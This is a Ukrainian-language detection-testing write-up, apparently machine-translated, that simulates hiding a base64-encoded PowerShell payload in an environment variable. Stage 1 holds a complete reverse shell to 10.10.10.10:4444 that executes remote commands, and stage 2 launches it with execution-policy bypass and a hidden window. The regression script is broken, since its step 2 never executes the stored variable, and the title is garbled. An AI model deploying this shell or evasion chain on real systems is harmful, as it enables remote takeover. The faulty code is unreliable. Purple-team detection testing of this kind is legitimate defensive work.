Повернення зловісного тла MSI

Виконання симуляції

Попередня умова: перевірка телеметрії та базового рівня повинна бути пройдена.

Пояснення: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для виклику правила детекції. Команди і наратив МУСЯТЬ безпосередньо відображати визначені TTP та прагнути згенерувати точну телеметрію, очікувану логікою детекції.

• Хід атаки та команди:
  Атакуючий спочатку вводить закодоване в base64 навантаження PowerShell у змінну середовища рівня процесу, названу INTERNAL_DB_CACHE. Це навантаження, після декодування, запускає зворотну оболонку. Потім атакуючий викликає другий процес PowerShell, який читає змінну і виконує її через ScriptBlock::Create, таким чином утримуючи шкідливу команду поза безпосереднім командним рядком. Цей підхід “на життя-самопідтримку” уникає виявлення статичними сигнатурами і використовує двоступеневий шаблон, на який налаштував правило.

  1. Стадія 1 – Закодувати навантаження та зберегти в змінну середовища

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Стадія 2 – Виконати закодоване навантаження зі змінної середовища

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Скрипт регресійного тесту: Скрипт нижче автоматизує два кроки, захоплює часові значення для кореляції та вставляє коротку затримку, щоб дозволити першому процесу завершитися до початку другого.

  # ----------------------------------------------
  # PowerShell симуляція закодованого навантаження в змінній середовища
  # ----------------------------------------------
  
  # Крок 1 – Закодувати нешкідливе навантаження зворотної оболонки (замість вашою адресою C2)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Маленьке нешкідливе навантаження для безпечного тестування
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Змінна середовища INTERNAL_DB_CACHE встановлена."
  
  # Коротка затримка, щоб упевнитися, що перша команда зареєстрована
  Start-Sleep -Seconds 2
  
  # Крок 2 – Виконати навантаження зі змінної
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Виконання навантаження запущено."

• Команди очищення: Видаліть тимчасову змінну середовища і заверште будь-які випадкові процеси, створені під час тесту.

  # Видалити тестову змінну середовища
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] ОЧИСТКА – INTERNAL_DB_CACHE видалена."
  
  # Упевнитися, що не залишилося жодних сирітських процесів powershell.exe (виключити поточну сесію)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] ОЧИСТКА – сирітські процеси PowerShell завершено."